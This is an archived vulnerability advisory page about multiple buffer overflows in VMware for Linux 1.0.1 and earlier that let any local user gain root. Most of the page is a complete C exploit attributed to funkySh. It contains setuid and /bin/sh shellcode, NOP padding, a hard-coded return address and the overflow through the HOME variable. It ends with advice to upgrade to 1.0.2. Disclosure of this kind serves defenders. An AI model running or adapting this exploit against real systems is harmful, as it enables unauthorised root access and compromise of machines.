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TUCoPS :: Linux :: Apps N-Z :: vmware2.htm

VMware unprivileged root access



Vulnerability

    VMware

Affected

    VMware for Linux 1.0.1 and previous

Description

    The security hole  allows a buffer  overrun attack against  VMware
    for Linux  to result  in unprivileged  root access  to a  machine.
    VMware v1.0.1 is a software product by VMware, Inc. that creates a
    virtual  machine  in  which  you  can  install  multiple operating
    systems  without  repartitioning  or  formatting  your hard drive.
    Team Asylum has found multiple buffer overflows existing in VMware
    v1.0.1 for  Linux.   Earlier versions  also have  the same  buffer
    overflows.   Any local  user can  exploit these  overflows to gain
    root  access.   funkySh   posted  following  code  that   exploits
    vulnerability:

    /*
     * VMware v1.0.1 root sploit
     * funkySh 02/07/99
     *
     * 1. Redhat 5.2     2.2.9 offset 800-1100
     * 2.                      offset 1600-2200
     * 1. Slackware 3.6  2.2.9 offset 0
     * 2.                      offset ?
     *
     * [ 1 - started from xterm on localhost ]
     * [ 2 - started from telnet, with valid display ]
     */


    #include <stdio.h>

    char code[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
                  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
                  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
                  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

    #define BUFFER 1032
    #define NOP 0x90
    #define RET_ADDR 0xbfffdf50
    #define PATH "/usr/local/bin/vmware"

    char buf[BUFFER];

    void main(int argc, char * argv[])
    {
      int i, offset = 0;
      if(argc > 1) offset = atoi(argv[1]);

     memset(buf,NOP,BUFFER);
     memcpy(buf+800,code,strlen(code));
     for(i=854+2;i<BUFFER-2;i+=4)
       *(int *)&buf[i]=RET_ADDR+offset;

      setenv("HOME", buf, 1);
      execl(PATH,"vmware","-display","127.0.0.1:0",0);
      /* change IP if required */
    }

Solution

    All users  are encouraged  to upgrade  to VMware  v1.0.2.  You may
    download it directly off http://www.vmware.com.


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